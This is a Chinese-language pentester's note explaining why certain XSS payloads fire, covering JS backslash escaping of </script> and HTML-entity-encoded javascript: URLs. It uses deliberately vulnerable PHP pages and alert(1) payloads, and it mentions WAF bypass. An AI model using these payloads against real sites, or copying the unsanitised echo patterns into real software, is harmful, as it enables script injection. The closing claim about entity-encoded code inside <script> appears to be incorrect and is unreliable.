今天在给客户做渗透测试时,遇到了一处XSS。虽然很简单,但有点小意思。引发了我对js转义和html转义在XSS中的思考,故做个小笔记记录一下。两个例子都会以仿写现实场景的代码的说明问题。

0x01 一点知识贮备

1.1 关于转义

&#**;格式的字符串是html的转义字符,\是JS的转义符,转义的目的就是告诉解析器该符号为字符,而不是代码,防止代码出现歧义。

1.2 浏览器解析原则

  1. 若果存在html转义字符串,HTML解析引擎会先把转义字符解析为字符串
  2. HTML解析引擎按照从上到下,从外向里解析html标签
  3. 遇到html标签浏览器会让html解析引擎解析,遇到<script>标签,浏览器会让JS解析引擎对标签内容进行解析。

1.3 html源码和浏览器解析结果

在浏览器中我们按住快捷键ctrl+u,看到的是服务器接受我们的请求后返回的html源码。按F12进入开发者工具面板,开发者工具分析出的DOM结构,就是浏览器的解析结果。

ps:html源代码DOM结构和浏览器解析后的DOM结构是有区别的!

0x02 XSS与JS转义

2.1 测试代码和问题描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>一个XSS</title>
</head>
<body>
<script type="text/javascript">
var input_str = "<?php echo $_POST['str']?>";
if(input_str.length>0){
document.write("Your input:"+input_str);
}
</script>
<form action="" method="post">
<input type="text" name="str" />
<input type="submit" value="提交">
</form>
</body>
</html>

当我们提交<script>alert(1);</script>,前端没有出现我们期待的弹窗,而是输出了以下字符串。

1
"; if(input_str.length>0){ document.write("Your input:"+input_str); }

而当我们提交<script>alert(1);<\/script>,则可以正常弹框。如何解释这两种情况,我们来思考一下?

2.2 原理分析

当我们输入第一个payload提交后,得到的html源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>一个XSS</title>
</head>
<body>
<script type="text/javascript">
var input_str = "<script>alert(1);</script>";
if(input_str.length>0){
document.write("Your input:"+input_str);
}
</script>
<form action="" method="post">
<input type="text" name="str" />
<input type="submit" value="提交">
</form>
</body>
</html>

当我们的HTML解析器解析到<script>标签时,它会快速去查找离它最近的闭合标签</script>。这时它查找到是8行中的</script>,而不是12行的</script>。这时<script>标签内的var input_str = "<script>alert(1);被交给js引擎去解析。而8行</script>和12行的</script>之间的代码被当成字符串输出到前端页面。而由于6行</script>标签没有配对成功,故不会被浏览器解析为一个合法标签。 所以最终的解析结果是第8行的<script>被解析为字符串,</script>被解析为html标签。

当我们输入第二个payload提交后,得到的html源码如下,与上面代码类似,只是差异只在第8行(多了一个/)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>XSS与JS编码</title>
</head>
<body>
<script type="text/javascript">
var input_str = "<script>alert(1);<\/script>";
if(input_str.length>0){
document.write("Your input:"+input_str);
}
</script>
<form action="" method="post">
<input type="text" name="str" />
<input type="submit" value="提交">
</form>
</body>
</html>

还是同样的解析原则,html解析引擎解析到7行的<script>时,它会快速去查找离它最近的闭合标签</script>。这是在到第8行时发现<\/script>标签,而不是</script>,
故继续往下,直到找寻到12行的</script>标签,才完成了配对。这时8行和11行的代码交给了js引起去解析。由于<script>alert(1);<\/script>双引号包围,所以js解析器会把它当字符串处理。 所以最终的解析结果是第8行中的<script></script>都是字符串而不是标签。

值得注意的是第8行当中的\字符的引入使得<script>标签在html解析引擎解析时未在第8行被闭合,同时又因为\为js语法中的转义字符,故在js解析引擎解析时,又能正常解析input_str变量的值为<script>alert(1);</script>字符串,所以最总成功弹窗,很巧妙!

这些解析结果都是可以使用浏览器自带的F12开发者工具开验证。

0x03 XSS与html转义

3.1 测试代码与问题描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>XSS与html编码</title>
</head>
<body>
<?php
if(isset($_POST['submit'])){
echo "<a href='".$_POST['str1']."'>str1</a>";
echo "<br/>";
echo "str2:".$_POST['str2'];
}
?>
<form action="" method="post">
str1:<input type="text" name="str1" />
<br/>
str2:<input type="text" name="str2" />
<br/>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

我们将javascript:alert(1);html转义得到如下字符串,并填写到str1输入框

1
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3b;

我们将<script>alert(1);</script>html转义后得到如下字符,并填写到str2输入框

1
&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3b;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;

提交后发现点击str1链接可以弹框,说明前者被当代码来执行了,而后者被当字符串输出了。我们来看这时为何?

3.2 原理分析

提交payload之后,服务器返回的html代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>XSS与编码</title>
</head>
<body>
<a href='&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3b;'>str1</a><br/>str2:&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3b;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e; <form action="" method="post">
str1:<input type="text" name="str1" />
<br/>
str2:<input type="text" name="str2" />
<br/>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

而浏览器html解析器解析后的结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>XSS与编码</title>
</head>
<body>
<a href='javascript:alert(1);'>str2:&lt;script&gt;alert(1);&lt;/script&gt;<form action="" method="post">
str1:<input type="text" name="str1" />
<br/>
str2:<input type="text" name="str2" />
<br/>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

通过解析结果,我们可以很容易看到。payload其实都被当成了字符输出了。只是在点击str1连接时,前者被解码之后的字符被当代码执行了。而后者被浏览器html解析器解码后为&lt;script&gt;alert(1);&lt;/script&gt;,而不是<script>alert(1);</script>,所以js代码自然无法执行。所以str2应该为<script>&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3b;</script>,才可以触发XSS。

0x04 总结

通过对js转义和html转义在XSS中的应用,让我对浏览器解析html代码的解析过程有了更深的了解。可以借鉴其中的原理来构造更简洁,精巧的XSS的payload,也可以尝试用来绕waf。

参考文章

XSS绕过学习